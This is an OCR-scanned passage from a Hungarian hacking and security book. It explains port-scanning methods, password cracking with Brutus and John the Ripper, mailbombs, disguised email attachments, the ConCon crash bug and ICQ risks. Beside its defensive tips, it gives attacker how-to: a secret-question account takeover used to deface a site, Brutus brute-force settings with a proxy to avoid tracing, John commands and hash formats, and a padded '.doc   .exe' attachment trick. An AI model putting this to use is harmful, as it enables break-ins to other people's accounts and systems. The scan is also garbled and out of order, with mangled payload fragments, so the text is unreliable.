Szkennelesi eljárások 6.2.1 Szkenneles teljes TCP-kapcsolattal 6.2.2 Félig nyitott TCP-szkennelés 6.2.3 TCP-FIN-Scan 6.2.4 Fragmentált szkennelés 6.2.5 UDP-ICMP-Port-Unreachable szkennelés 6.2.6 UDP-Recvfrom-And-Write szkennelés 6.2.7 ICMP-echo-scanning/ping-szkennelés 6.2.8 A nyitott portok csak a kezdetet jelentik 6.2.9
A
portszkennelés
elleni
védelem
6 Szkennelés - A rések keresése
6.2 Szkennelési eljárások Egy rendszer szkennelésére különböző lehetőségek kínálkoznak. Hogy ezek közül melyiket választják, az azoktól a feltételektől függ, amelyek mellett a feladatot meg kell oldani. A rendszer minden jogosultságával rendelkező rendszergazda teljes áttekintést szeretne kapni, lehetőleg gyorsan, a hacker pedig észrevétlen szeretne maradni.
A szkennelés az egyik legfontosabb módszer egy rendszer gyenge pontjainak a felismerésére. No persze nem a hagyományos értelemben vett szkennelésről van szó, hiszen e szó jelentés itt az, hogy egy rendszer minél több csatolófelületét, illetve portját szólítják meg, hogy kitalálják, melyek engedik meg kapcsolat felépítését. A portszkennek a támadók legfontosabb eszközei. Minden hacker elvégzi a portszkennelést a célrendszerén, mielőtt munkához látna. Emellett a portszkennelés arra is szolgál, hogy a rendszergazdák ellenőrizzék rendszerük biztonságát. Ezért minden rendszergazdának jól kell ismernie a szkennereket. A következő magyarázatok feltételezik a közkedvelt protokollok alapismereteit, különben nehezen érthetők az összefüggések. Ehhez minden fontos információ megtalálható a 3. fejezetben.
6.1. A szkenner A szkenneléshez szükség van egy portszkennerre. A legismertebb szkennerek közé tartozik a Nessus és az nmap - mindkettő a Linux alatt gyökerezik, de időközben már Windowshoz is kifejlesztették. A szkennerek kérdéseket küldenek a portoknak, és visszadják a rendszer válaszait. Közben különböző információkat gyűjtenek, többek között arról, hogy milyen szolgáltatások futnak a rendszeren, lehetségesek-e anonim loginek, és hogy megkövetelik-e a hitelesítést a hálózati szolgáltatások.
6.2.1 Szkennelés teljes TCP-kapcsolattal Itt egy olyan szkennelési eljárásról van szó, amelynek a célja TCP alapú szervizeket/szolgáltatásokat találni. Ehhez a következőképpen járnak el: a szkenner, illetve a kliens megpróbál teljes kapcsolatot felépíteni a host minden portjához. Ha a szkenner ezeknél a kísérleteknél egy porttól feleletet kap, akkor az elérhetőnek számít. A szkenner egy TCP/IP csomagot küld SYN-flaggel a számítógépnek (a flagek [zászlók] speciális ismertetőjelek a csomag TCP-headerében), a host visszajelzése pedig, ha nem érhető el a port, RST-ACK, ha elérhető, akkor SYN-ACK. Ebben az esetben a szkenner ismét ACK-val válaszol, és a kapcsolat létrejött. Ezen a módon persze nagyon sokáig tartana minden kapcsolatot felépíteni és azután befejezni, és kérdéses lenne, hogy minden portot le lehet-e szkennelni. Az mindenesetre biztos, hogy minden időkeretet túllépne. Éppen ezért a szkenner multi-socket eljárást alkalmaz, amelynél egyidejűleg nagyon sok kérdést tud feltenni. Ennek az eljárásnak az előnye, hogy nagyon gyorsan vezet eredményre. A támadóknak azonban nem felel meg, mert nagyon feltűnő, és nagy valószínűséggel a támadó IP-címe is beíródna a rendszer logfájljaiba.
6.2.2 Félig nyitott TCP-szkennelés A félig nyitott szkennelésnél nem állítanak elő teljes kapcsolatot a hosthoz, hanem a SYN-ACK megerősítés után egy elérhető sockettől RST-ACK-val rögtön megszakítják a kapcsolatot. Ha a szkennelt számítógép biztonsági és felügyeleti státusza csekély, akkor nem fogják észrevenni ezt a szkennelést. Az előnye viszont, hogy Unix alatt csak az tud végrehajtani ilyen eljárást, akinek root-jogai
vannak. Ez gondoskodik ugyanis arról, hogy a hálózatokban az erre jogosult rendszeradminisztrátoron kívül senki se tudjon végrehajtani ilyen szkennelést alacsonyabb jogokkal.
6.2.3 TCP-FIN-Scan A TCP-FIN szkennelést a Unix alatti TCP-implementációk többségének egy hibája (bug) teszi lehetővé. A szkennelendő portra egy TCP-csomagot küldenek egy FIN-csomaggal. A FIN-csomagokat arra használják, hogy a fennálló kapcsolatot annak rendje és módja szerint bezárják. A lezárt portok RSTcsomaggal válaszolnak a FIN-csomagra, a nyitottak ezt nem teszik, ezért lehet a TCP-FIN szkennel könnyen kideríteni a nyitott portokat. A szkennelésnek ez a módja azok közé a csekély számú eljárások közé tartozik, amelyek nem feltűnőek. Ezek a „letapogatások" azonban csak Unix alatt működnek, a Microsoft operációs rendszereknél a TCP-implementációnak nincs ilyen fajta hibája.
6.2.4 Fragmentált szkennelés A fragmentált szkennelés a TCP-szkennelések egy további módja. Ennél a TCP-csomagok több kis csomagra fragmentálódnak, illetve darabolódnak. Ezen a módon lehet meggyőződni arról, hogy nem fogja-e egy tűzfal felfedezni a portszkennelést.
6.2.5 UDP-lCMP-Port-Unreachable szkennelés Az UDP, más protokollokkal ellentétben, nem igazolja vissza a fogadást. Csak a lezárt port küld vissza egy üzenetet, hogy a port nem elérhető. Tehát szkenneljük a portokat, és várunk egy UDP-ICMP-PORT-UNREACH üzenetre. A szkennelésnek ez a módja nagyon hosszadalmas, és a pontossága nagy mértékben a szkennelt számítógép kihasználtságától, illetve rendszererőforrásaitól függ. Ráadásul csak Linux alatt működik, és azok a felhasználók, akik rootként vannak bejelentkezve, megkapják az ICMP PORT UNREACH üzeneteket. Ezeket a szkenneléseket csak a rendszergazda tudja elvégezni, hiszen system admin jogok kellenek hozzá.
6.2.6 UDP-Recvfrom-And-Write szkennelés Ellentétben a UDP-ICMP-PORT-UNREACH szkenneléssel, amelynél csak azok a userek kapnak pozitív visszajelzést, akik rootként vannak bejelentkezve, a UDP-Recvfrom-And-Write szkennelés egy normál módon bejelentkezett felhasználónak is lehetővé teszi, hogy „érdekes" jelzéseket kapjon. A háttérben ismét egy bug áll: ha megpróbálunk egy portra írni, amelyik a UDP-ICMP-PORT-UNREACH szkennelésre ICMP-PORT-UNREACH választ adott (amiről normál felhasználóként nem értesülünk), akkor többnyire ezt az üzenetet kapjuk: Error 13 - Try Again, a normál Error 111 - Connection refused üzenet helyett. Ennél az eljárásnál tehát minden portot kétszer szkennelnek, egyszer, hogy a számítógép kiadjon egy választ, amit sajnos, nem látunk, és másodszor, hogy mégis kapjunk informatív visszajelzést - 13-as hibánál a port le van zárva. Természetesen ez az eljárás is nagyon időigényes, és gyakran megbízhatatlan.
6.2.7 ICMP-echo-scanning/ping-szkennelés A szkennelésnek ez a módja csak azt állapítja meg, hogy melyik hostok elérhetők. Ez azt jelenti, hogy egy ICMP echo scanning/ping szkennelést hajtanak végre, hogy találjanak egy hostot, mielőtt még egy megtalált rendszeren el lehetne indítani a tulajdonképpeni portszkennelést. Ehhez egy ICMP-ECHOcsomagot vagy egyszerűen egy pinget küldenek kölönböző IP-címekre. Ha a számok valamelyike mögött van egy rendszer, az ICMP-ECHO-REPLY csomaggal válaszol. Megvan tehát a cél, amelyen a támadó a legkülönbözőbb szkennelésekkel réseket kereshet.
6.2.8 A nyitott portok csak a kezdetet jelentik Ha találtatott egy rendszer nyitott portokkal, akkor egy portlista segítségével lehet áttekintést kapni arról, hogy milyen szervizek (FTP, Telnet, HTTP, HTTPS, stb.) futnak a rendszeren. A támadók most hozzákezdenének információkat gyűjteni a célrendszerről. Ez az operációs rendszernél kezdődik, amely a számítógépen fut. Aszerint, hogy milyen portok nyitottak és milyen operációs rendszer van telepítve, a támadó utánanéz a megfelelő kihasználási lehetőségeknek.
6.2.9 A portszkennelés elleni védelem A szkennelés többnyire az első lépés, amelyet a betörők végrehajtanak, hogy megtalálják és analizálják a célrendszerüket. Ezen keresztül számos fontos információt begyűjthetnek, amelyek nélkül a betörés lehetetlen volna. Ezért fontos védekezni a portszkennelés ellen, illetve naplóztatni a szkenneléseket, hogy azonosítani lehessen a lehetséges támadót, mielőtt még hozzákezdene a tulajdonképpeni támadáshoz. Természetesen nagyon nehéz valakit visszatartani attól, hogy egy rendszert szkenneljen. A legjobb védelem, ha a szkennelés nem talál nyitott portokat. Tehát minden szolgáltatást, ameddig lehetséges, inaktívan kellene tartani, hogy ne kínáljunk támadási felületet. Ez azonban többnyire nehezen kivitelezhető, már akkor is, ha valaki például egy FTP-szervert működtet a rendszerén, vagy egy csatlakoztatott hálózat miatt biztosítania kell a 139. port elérhetőségét (lásd. a Windows-megosztásokat a Windows-rendszerek gyenge pontjairól szóló fejezetben). Itt a tűzfalak segítenek, mint amilyen a Norton Internet Security, vagy portscan detektorok, mint például a BlackICE. Naplóz a Norton Internet Security
A tűzfalaknak olyan protokoll-funkcióik vannak, amelyek feljegyzik a portszkenneket. A tűzfalakat arra is be lehet állítani, hogy figyelmeztető üzenetet küldjenek, amint TCP-kapcsolatok érkeznek be, és megpróbálkoznak egy portra kapcsolódni.
7. fejezet - Tartalom 7.1
Hackelt security-site - jelszófeltöréssel ez is lehetséges
7.2
Mire kell ügyelni a felhasználói oldalról?
7.3
A jelszófeltörők 7.3.1 Ismert felhasználói nevek jetszavainak a kitalálása 7.3.2 Beállítások áttekintése
7.4
Jelszavak megfejtése a John the Ripperrel 7.4.1
Single
7.4.2 A szólista módszer 7.4.3 Incremental mód 7.4.4 External mód 7.4.5 A John legfontosabb parancsai 7.4.6 A jelszófájl
Mode
7 Jelszófeltörés
Ez a fejezet a jelszavak biztonságosságát tárgyalja. A hackereknek változatlanul az okos jelszavas védelem jelenti az egyik legnagyobb akadályt, mivel az interneten és a helyi számítógépeken is gyakran védik jelszavakkal a fájlokat a jogosulatlan hozzáférések ellen.. A jelszavak kiderítésére, illetve feltörésére különböző lehetőségek vannak. Az egyik legfontosabb a Social Engineering, amellyel a fontos adatok jelszó-tulajdonosoktól való megszerzését jelölik. A kreativitás, amivel ilyenkor eljárnak, hihetetlen. Tehát ne hagyjuk, hogy ismeretlenek olyan információkat csaljanak ki tőlünk, amelyeket senkinek sem adnánk meg önként. Ez történhet mondjuk egy telefonhívással, amelyben a főnökünk keresztnevét kérdezik - kulcsszó: email-cím. A klasszikus jelszótörő egy olyan program, amely egy lista segítségével minden lehetséges variációt megjátszik. Hogy hogyan is működnek ezek a programok, az a fejezet 7.3 pontjából derül ki. Természetesen a jelszófeltörők elleni legjobb védelem, a „biztos jelszó" sem fog kimaradni. A jelszófeltörésről oldalakat lehetne írni. A legfontosabb azonban az, hogy egy jelszó ne legyen túl egyszerű. Ezért itt csak a valóban fontos információkat szeretnénk bemutatni, és a jelszóválasztás biztonságát a középpontba állítani.
ta, hogy a webmesternek két GMX-fiókja van: [email protected] és [email protected] (a címeket az adatvédelem miatt megváltoztattuk). Az első címet kontaktcímként adta meg a weboldalon, a második a Denic-nél (www.denic.de) és a Puretec (www.puretec.de) szolgáltatónál szerepelt kontaktcímként. A támadó először megnézte a GMX-titkos kérdést, és látta, hogy a kérdés mindkét postafióknál így hangzott: Mi a keresztnevem? Az oldalon megadott kontaktcímből, tehát [email protected], hamar rájött, hogy milyen névről van szó. Tehát fogta Tobias-t, megváltoztatta a jelszót, és máris büszke tulajdonosa lett egy GMX-accountnak. Most egy kicsit körülnézett a GMX felhasználói menüben, ahol a valódi tulajdonos a nevétől kezdve a telefonszámáig tulajdonképpen minden adatot hátrahagyott, amelyekre a Social Enineeringhez szükség van. A hacker most a webtárhely szolgáltatójától kapott mail-eket kereste, mert ezekben szerepelt az ügyfélszám, amire szüksége volt ahhoz, hogy a Pureteckel „elfelejtett" jelszavakat lehessen a kontaktcímre küldetni. De nem voltak mail-ek a szolgáltatótól, így két lehetőség adódott - az első: várni pár napot egy mail-re a szolgáltatótól, mert a Puretec általában havonta egyszer mail-ben elküldi a számlainformációkat. De ez biztosan feltűnne a felhasználónak, és megváltoztatná a kontaktcímét. A másik lehetőség: a jó szerencsében bízva egyszerűen megpróbálkozni néhány jelszóval. A hacker a felhasználó születési dátumával kezdett, amelyet a GMX-adatokból megtudott. És nézzenek oda: ez megint telitalálatnak bizonyult, mert a legtöbb felhasználó nagyon lazán veszi a jelszó kiválasztását. Hogy ezek után mit csinált az oldalból? íme az eredmény:
7.1 Hackelt security-site jelszófeltöréssel ez is lehetséges Egy ismert példa a th-security „átváltozása" (deface) volt. Itt a következő történt. Az áldozat, amelyet egy m \ r3nda nevű hacker kinézett magának, a www.thsecurity.de volt, egy ismert biztonsági és trójai információs oldal, amelyen semmiféle scripthibát vagy szerverhibát nem lehetett találni. Tehát a hackernek más eszközökhöz kellett folyamodnia. Kutatás közben megállapítot-
Itt egy honlap volt
Ez bizony egy nagyon jó példa arra, hogy hogyan válik lehetségessé egy „deface" a rosszul megválasztott titkos kérdés, az alkalmatlan jelszó révén.
7.2 Mire kell ügyelni a felhasználói oldalról? A legtöbb felhasználó nem túl ötletes egy értelmes jelszó kitalálásánál. Ezért a rosszul választott jelszavak kihasználása a hackerek egyik legjobban elterjedt támadófegyvere. A jelszavak megadásánál a következő alapszabályokat kellene betartani: • ne legyen öt karakternél rövidebb, • semmi duplázás, tehát ne legyen „hhaalloo", • ne legyen szabványos, • semmi születési dátum és hasonlók, • ne legyenek olyan szavak, amelyek benne lehetnek a jelszólistákban vagy a szótárakban. A jó jelszavak • több mint tíz karakterből, • alfanumerikus karaktersorból, pl. kml34Hs9, • vegyesen kis- és nagybetűkből állnak.
Teljesen értelmetlen a jelszóhasználat, ha • mindenütt ugyanazt a jelszót használjuk, • egy cetlit teszünk a billentyűzet alá vagy a monitorra, és ráírjuk a jelszót, • a jelszó egy fájlban van mentve a gépen. A jelszót kettő-négy hetente cserélni kell. Ezzel a fogással meghiúsíthatjuk a korábban kikémlelt jelszó felhasználását.
A titkos kérdések legyenek titkosak Az interneten a különböző oldalak biztonságra ügyelő szolgáltatói jelszókérdések vagy titkos kérdések megadását kínálják, hogy a felhasználónak lehetővé tegyék, megváltoztatni a jelszavát, ha elfelejtette. Gyakran lehet ilyen kérdésekkel találkozni: „Mi a hideg ellentéte?" Ez természetesen rossz választás, mert így minden támadónak lehetővé tesszük a jelszavunk tetszés szerinti megváltozatását.
7.3 A jelszófeltörők A jelszófeltörők olyan programok, amelyek jelszavakat fednek fel, hogy ki kerüljék az alkalmazott biztonsági intézkedéseket. A jelszót a legritkább esetben fejtik vissza, ehelyett egy névről nagyon jól ismert eljárást, a Brute Force-ot használják. A Brute Force annyit jelent: nyers erőszak. E programok nem tesznek mást, mint nagyon nagy sebességgel próbálják ki az egyik lehetséges jelszót a másik után, amíg megtalálják az igazit. Egy példa az ilyesfajta programra a Brutus. A Brutus jelszófeltörő internetaccountok valamennyi variánsához (FTP, HTTP, POP3, Telnet, NetBios stb.). Az internetjelszavak minden fajtájához szívesen használják. A Target mezőbe be kell írni a kikémlelendő fél URL-jét vagy IP-címét. Ezután ki lehet választani a támadás fajtáját, és szükség szerint szólistákat is be leA Brutus program: minden beállítás egy lapon
het tölteni, amelyek, ha a jelszó a listán van, igencsak megrövidítik a feltörést. Egy további, a támadásokhoz hasznos tulajdonság egy beépített proxy, amely megakadályozza, hogy vissza lehessen követni a támadót.
7.3.1 Ismert felhasználói nevek jelszavainak a kitalálása Mint már a neve is mutatja, a program ennél az eljárásnál csak egy user névvel próbálkozik, amelyet előre meg lehet adni, mert az már ismert, de nincs meg a hozzá tartozó jelszó. Így lenne ez például akkor is, ha elfelejtettük a fiók-jelszavunkat.
7.3.2 Beállítások áttekintésére
7.4 Jelszavak megfejtése a John the Ripperrel A John the Ripper egy jelszófeltörő, amely DES-sel (Data Encryption Standard) kódolt jelszavakat tud dekódolni. A DES-kódolások felhasználásának egyik területét a Unix-jelszavak jelentik. Az idő, amelyre John the Rippernek szüksége van a jelszavak visszafejtéséhez, a rendelkezésre álló processzor sebességétől függ, ezért a program egyes verziói különböző processzorokra optimalizáltak. A John működése azon alapul, hogy a megadott jelszólehetőségeket például DES-sel kódolja, aszerint, hogy milyen módban indult el (single, szólista, incremental, external), és az eredményt összehasonlítja a megfejtendő jelszóval. Ha a jelszavak kódolt állapotban egyeznek, akkor visszafejtve is egyezniük kell, mert mindkettőnél ugyanazt a kódolási eljárást (DES) alkalmazták.
Target: a host URL-je vagy IP-je, amelyen pl. a POP3 vagy FTP-account van. Type: itt lehet kiválasztani a cél típusát, HTTP, FTP, POP3, Telnet, SMB (NetBOIS) stb. Port: a port megadása, HTTP esetén a 80-as port, FTP-nél a 21-es. Connection: meg lehet adni, hogy milyen gyakran létesítsen kapcsolatot a program. Timeout: megadható, hogy mennyi idő múlva szakítsa meg a program a kapcsolatot. Use Proxy: nincs kiválasztva; a Brutus itt lehetővé teszi egy proxy bejegyzését. Method: HEAD KeepAlive: megjelölve. Use Username: kiválasztva. Itt lehet egy névlistát választani különböző user nevekből, amelyeket a Brutus mellékel. Single User: kiválasztva User ID: usernév (pl. Jóska, Fercsi stb.), pl: [email protected]. Pass Mode: szólista; itt lehet kiválasztani, hogyan történjen a feltörés. Lehet szólistával, combo-listával vagy Brute Force-szal. Pass Fik: words.txt. Itt lehet egy szólistát betölteni, amelyet a Brutus mellé adnak.
A John the Ripper szerény felhasználói felülete
7.4.1 Single Mode Ebben a módban a John megpróbálja a jelszófájlban tárolt GECOSinformációkat (General Electric Comprehensive Operating System), azaz a userek személyes adatait, például név, telefonszám stb., jelszóként felhasználni. Még ha a passwd fájlban az adatok „árnyékolva" is vannak (ez a bizonyos shadowing az újabb Linux/Unix verziók biztonsági intézkedése, amely úgy működik, hogy a jelszavakat eltávolítja a passwd fájlból, és helyette a shadow-fájlban tárolja), a
GECOS-információk azonban még mindig a passwd fájlban vannak. Ebben az esetben az Unshadow program segít, mégpedig úgy, hogy összevezeti a passwd fájlt és a shadow fájlt, ezért a jelszavakat és a GECOS-információkat megint csak egyetlen fájl tartalmazza. Ez a mód természetesen csak akkor hatékony, ha a felhasználók személyes információikat használják jelszóként. Ez a módszer egyben nagyon gyors is, ezért nem szabad alábecsülni. Ennek a módnak a hatékonysága a jelszófájl tartalmazta felhasználók számával növekszik, mert minden felhasználó GECOS-információját az összes többinél is kipróbálja jelszóként.
7.4.2 A szólista módszer Ennek a módszernek a hatékonysága teljes mértékben a felhasznált szólista méretétől és főleg a minőségétől függ. így lehet szerver- ill. adminspecifikus szólistákat előállítani, és ezzel a siker valószínűségét növelni, mert minden rendkelkezésre álló információt fel lehet használni. És éppen ez adja ennek az eljárásnak a erősségét: mivel valószínűtlen, hogy egy ausztráliai szerver passwd fájlja német jelszavakat tartalmaz, a szólista német részét ebben az esetben el lehet hagyni. A szólistát úgy kell felépíteni, hogy minden sorban csak egyetlen karakterfüzér legyen. Arra is ügyelni kell, hogy a szólista ábécé-sorrendben legyen, mert a John egy kicsikét gyorsabban dolgozik, ha az egymás után következő szavak vagy karaktersorozatok nem különböznek túlzottan egymástól (vannak programok, amelyek a szólisták kezelésében segítenek, például több listát összefűznek, ábécé-sorrendbe rendezik, vagy eltávolítják a dupla bejegyzéseket).
7.4.3 Incremental mód Ez a John leghatalmasabb üzemmódja. Minden létező jelszót, függetlenül attól, hogy betűkből, különleges karakterekből, számokból vagy kombinációkból áll, vissza tud fejteni úgy, hogy minden lehetséges kombinációt ellenőriz. Ezt az eljárást Brute Force-nak is nevezik. Azt mindenesetre figyelembe kell venni, hogy a szükséges idő (a processzor teljesítményétől, a jelszó hosszától és a jelszóban használt karakterektől függően) nagyon hosszú is lehet.
7.4.4 External mód Ez a mód inkább tapasztalt felhasználóknak való, mert teljes mértékben konfigurálni kell.
7.4.5 A John legfontosabb parancsai Parancs
Leírás
John -single
Ez a parancs single módban indítja a Johnt.
John -i
Ez a parancs incremental módban indítja a Johnt.
John -w:aszólistaneve
Ez a parancs szólista módban indítja a Johnt.
John -e:MODE
Ez a parancs external módban indítja a Johnt, a LIST. EXTERNAL:
John fájlnév
Ez a parancs először single, majd szólista, végül incremental
előtt definiált MODE tulajdonságokkal. módban futtatja le a Johnt. John -show
Erre a parancsra mutatja meg a program a megfejtett jelszavakat.
A John the Ripper legfontosabb parancsainak az áttekintése
Minden parancs után meg kell még adni a jelszófájlt is. A john parancs kilistáz minden lehetséges paramétert.
7.4.6 A jelszófájl Ennek a fájlnak tartalmaznia kell a megfejtendő jelszavakat a hozzájuk tartozó felhasználó-nevekkel. Ezeket kettősponttal elválasztva, a USERNAME: PASSWORD séma szerint kell tárolni. Hogy hány ilyen pár van a fájlban tárolva, az nem túl lényeges, csak arra kell figyelni, hogy egy sorban mindig csak egy USERNAME:PASSWORD pár legyen. A jelszavak „árnyékolva" sem lehetnek, hanem normál kódolt állapotban kell lenniük (pl: árnyékolva= john:x vagy john:* ; kódolva=john:GjstuOeYjOEhc). Ha a single módot kell használni, akkor a GECOS-információknak és a user-könyvtár elérési útvonalának is mögötte kell állnia ( p l : john:OozDCtCCAa/lM:11202:0:99999:7:0:).
8. fejezet - Tartalom 8.1
E-mail-támadások 8.1.1 Mailbombák - túlcsordul a postafiók 8.1.2 A fájlmelléklet kitömése 8.1.3 AConConbug
8.2
ICQ - praktikus és veszélyes 8.2.1 Az ICQ - biztonsági kockázat? 8.2.2 Milyen biztonsági rések vannak?
8 Támadások az internet-felhasználók ellen
Az internetet használók száma folyamatosan növekszik, egyre újabb és újabb szolgáltatásokat kínálnak a számukra, és a tartalmak is mind vonzóbbakká válnak. A legtöbbek életéből már nem maradhat ki ez a médium. Az interneteléréssel azonban növekednek azok a veszélyek, amelyeknek a saját PC-nk vagy akár a hálózat is ki van téve. Ez a fejezet az internet-használat veszélyeinek és kockázatainak reálisabb felbecsülésében próbál segíteni. Kiderül, hogyan és milyen változatokban hajtanak végre támadásokat felhasználók ellen. A különböző trójai- és víruslehetőségekről itt már nem beszélünk, ezeket az adott témának szentelt fejezetek tárgyalják. Itt elsősorban az e-mailek és az ICQ biztonsági kockázatairól lesz szó.
8.1 E-mail-támadások Az e-mailek a legfontosabb kommunikációs bázist jelentik az interneten. Ebben a tényben azonban veszélyek is rejlenek, amelyek sok felhasználóban nem is tudatosulnak, ezt pedig a hackerek kihasználják a rendszerek megtámadásához.
8.1.1 Mailbombák - túlcsordul a postafiók A mailbombák nem jelentenek közveden veszélyt az internet-használók adataira vagy saját számítógéprendszereikre, inkább csak idegölők és zavarók. Ugyanis elég időigényes - és drága - lehet, ha az embernek hirtelen 5000 nem kívánt mail-t kell törölni a postafiókjából. A mailbombázáshoz a támadók számos programból választhatnak. Nehéz felmérni, hogy a mailbomba-támadások mögött mennyire van stratégia. Egy egyedi felhasználónak főleg az idejét rabolhatják a bombázással, akkor bosz-
E-mail-bombázó Arzytól
szánthatják, ha tudják, hogy egy fontos mail-re vár. Ezt ugyanis, mivel a mailbox a támadás miatt túltelítődik, a szerver vissza fogja utasítani. Egy ilyen támadás azonban akár pénzügyileg is érinthet kisebb cégeket, amelyeknek fontos kommunikációs eszközt jelent az internet. Képzeljük csak el egy online bolt üzemeltetőjének a helyzetét, aki nem kapja meg a megrendelés-maileket, mert mailbomba-támadás áldozata lett.
A támadó anonim marad Hogy a mailbomba-támadások áldozatai nem tudnak közvetlenül a tettesekre támadni, az a mailbombázók által gyakran használt SMTP és Telnet internetprotokollok (lásd az Alapok fejezetet) felépítésén múlik. Ezek az adatátviteli protokollok az ASCII karakterkészletre korlátozzák a tartalmukat, tehát csak egyszerű szöveget szállítanak. Ennek alapján nem nyújtanak lehetőséget arra, hogy a feladó adatait ellenőrizni lehessen, sőt még arra is van mód, hogy valaki hamis feladócímet adjon meg! A mailbombázók sajátos képességei tehát nemcsak abban nyilvánulnak meg, hogy szinte egyidejűleg hallatlanul nagy számú mail-t tudnak küldeni a kívánt címre, hanem abban is, hogy anonimek maradnak, vagy - választás szerint hamis feladócímet is meg tudnak adni. Ennek természetesen az a következménye, hogy a címzett postafiókja hamar túllépi a maximális kapacitását, és nem tud több mail-t fogadni. S bizony roppant időrabló ténykedés eltávolítani a többnyire különösebb tartalom nélküli mail-ek százait.
így működnek a mailbombák Ahhoz, hogy a címzetteknek továbbítsák a mail-eket, a mailbombázó programoknak több szerverrendszert is meg kell adni, amelyek, az akaratuk ellenére, postásként fognak működni. Ezt egyébként azért teszik, hogy felgyorsítsák az akár 10 ezer mail továbbítását, és a munkát felosszák több különböző szerver között. Ezáltal az egyes mail-szerverek túlterhelésének a kockázata is csökken. Ráadásul egy ilyen tranzakció egyeden szerveren keresztül talán túl feltűnő lenne, s a további mail-akciókat zárolni lehetne erről a szerverről! Az utóbbi időben egyre több mailbomba-támadás összpontosít cégekre, amelyek agresszív reklámjaikkal tűnnek fel az interneten.
Mailbomba-védelem A német online szolgáltatók, mint az AOL vagy a GMX, felhasználói biztosan jól ismerik az előbb említett mailreklámot, az úgynevezett spam-et. A szervezett mailbomba-akciók ezeknek a cégeknek a mail-postafiókjaira gyakran sikeresnek bizonyultak! Ezért a legtöbb mailszolgáltató ügyfél-postafiókjain ki lehet választani az antí-spam opciót. Ez megakadályozza, hogy az elképesztő tömegű mail egyáltalán továbbítódjon a felhasználóhoz.
8.1.2 A fájlmelléklet kitömése Vírusok és trójaik küldésénél a hackerek állandóan szembesülnek azzal a problémával, hogy a nyilvános ismeretterjesztés hatására sok felhasználó már tudja, hogy az *.EXE, *.COM, *.BAT nevű mail-mellékletek veszélyesek lehetnek. Ezért gyakran egy trükkhöz folyamodnak, hogy álcázzák a csatolt fájlt. Ártatlannak tűnik - egy mail kipufferolt fájlmelléklete
A csatolt fájl, a merevlemezre mentve, a következőképpen néz ki: Profil.doc exe A hosszúsága miatt (amit az üres karakterek okoznak) az Outlook csak a Profil.doc-ot mutatja, így a felhasználó feltételezheti, hogy csak egy hagyományos Word-dokumentumról van szó, amit közvetlenül is meg lehet nyitni az Outlookból, anélkül, hogy előzőleg a merevlemezre kellene menteni. Természetesen ebben az esetben azonnal elindul a megfelelő program, és feltelepül az esetleg hozzáfűzött vírus vagy trójai.
A csatolt fájlok elleni védelem A fent bemutatott fájlmellékletet nyilvánvalóan nem a Word dokumentum ikonja jelöli. A felhasználó tehát figyeljen a megfelelő ikonra! Persze az elszánt hacker az olyan programokkal, mint a Sub7 (lásd a trójaiakról szóló fejezetet), még Word-ikont is tud varázsolni. Általánosságban érvényes, hogy először mentsük merevlemezre és ellenőriztessük vírusvizsgálóval az ismeretlen forrásból származó mail-ek csatolt fájljait. Ezen kívül a Microsoft a http://windowsupdate.microsoft.com/ címen egy Outlook-frissítést is kínál, amely még a mail-hez csatolt fájlok futtatása előtt figyelmeztetést küld a gyanús fájloknál. Figyelmeztető üzenet az Outlooktól, megkérdőjelezhető fájlcsatolásoknál
8.1.3 AConCon bug A csatolt fájlok mellett a mail-éknek is lehet veszélyes tartalmuk. Egy példa erre a híres Windows ConCon bug. Ez a Windows 95/98/98 SE Windows kernelének egy hibájára épül, amely a foglalt eszköznevek meghívására vonatkozik. A ConCon „nagy kék halált" okoz, és újra kell indítani a PC-t. Ez veszélyes lehet a nem mentett adatok miatt. Az is ismert, hogy ennek a hibának a többszöri fellépése kárt okozhat a Windows kernelben, aminek az a következménye, hogy újra kell installálni az operációs rendszert. A ConCon mail-ékben terjed beágyazott HTML-fájlokon keresztül, amelyek például így nézhetnek ki: <META content=3Dtext/html;charset=3Diso-8859-l = http-equiv=3DContent-Type> <STYLE> <'body, UL, OL, DIR, MENU, DIV, DT, DD, ADDRESS, BLOCKQUOTE, PRE, BR, P, = LI { color: FF3300; font-size: 20pt; font-weight: regular; font-family: "Tempus Sans ITC", "Comic Sans MS", "Arial";=20 } hl {
color: FF3300; font-size: 30pt; font-weight: regular; font-family: "Tempus Sans ITC", "Comic Sans MS", "Ariar;=20 } hl
{
color: FF3300; font-size: 24pt; font-weight: regular; font-family: "Tempus Sans ITC", "Comic Sans MS", "Arial"; } ?
<META content=3D'"MSHTML 4.72.3110.7"! name=3DGENERATOR>
Elfuthatsz, de el nem menekülhetsz=20 előlem!
Windows ICQ Client v. 2000b ICQ-pager-értesítés egy Sub7 szerveren ICQ message-window
8.4.1 Az ICQ - biztonsági kockázat? Az utóbbi időben elszaporodtak azok a vélemények, amelyek biztonsági kockázatként jelölik meg az ICQ-t, és a kérdésre, hogy „Van-e ICQ-d?" egyre gyakrabban kapjuk azt a választ, hogy „Nem, mert túl veszélyes". Az ICQ legnagyobb veszélye tulajdonképpen abban rejlik, hogy a támadónak információkat szolgáltat az áldozatról. Ezek közül is egyértelműen az IP a legfontosabb. Az IP kiadása ugyan különböző beállításokkal megakadályozható (a 99b verziótól egy másikat is lehet megtévesztésként mutatni), de az interneten egyre több program található, amelyek kikerülik ezeket a beállításokat, és a támadóknak szállítják a megfelelő információkat. Ezért ez sem jelent biztos védelmet. Ráadásul az ICQ-t ért különböző remote-buffer-overflow-k és DoStámadások is ismertek. Ezeket a hálóról származó eszközökkel lehet végrehajtani. Azok a támadások is kedveltek, amelyeknél a támadó üzenetek sokaságával bombázza az áldozatot (lásd ebben a fejezetben, a Mailbombák alatt, hogy ez mit jelent). Az ICQ biztonsági kockázata azonban sokkal inkább annak a rendszernek a biztonságosságán múlik, amelyen a kliens fut, mint magán az ICQnetworkön. A felhasználóknak észnél kell lenniük, hogy kinek adnak engedélyt és kinek nem a kontaktlistájukhoz.
8.4.2 Milyen biztonsági rések vannak? Korrupt linkek A különböző linkek megnyitása az ICQ-felhasználónál aktiválhat egy fájlt, például egy trójait vagy egy vírust. Bizonyos parancsokkal összefüggésben azonban az egész merevlemezt is formattálhatják. Egy ilyen támadást hajtottak végre például tesztcélokból egy Windows 98 és egy 2000 platform „ellen". A link így nézhet ki: http://www.yahoo.com/link.asp? A DADADADADADADADADADADADADADADADADADADADADADAD *-ADADADADADADADAD ^A£)A£)A£)A£)A£)A£) V A£)A£)A£)A£)A£)A£)A£)A£)A£)A£)A£) V A£)A£)A£)A£)A
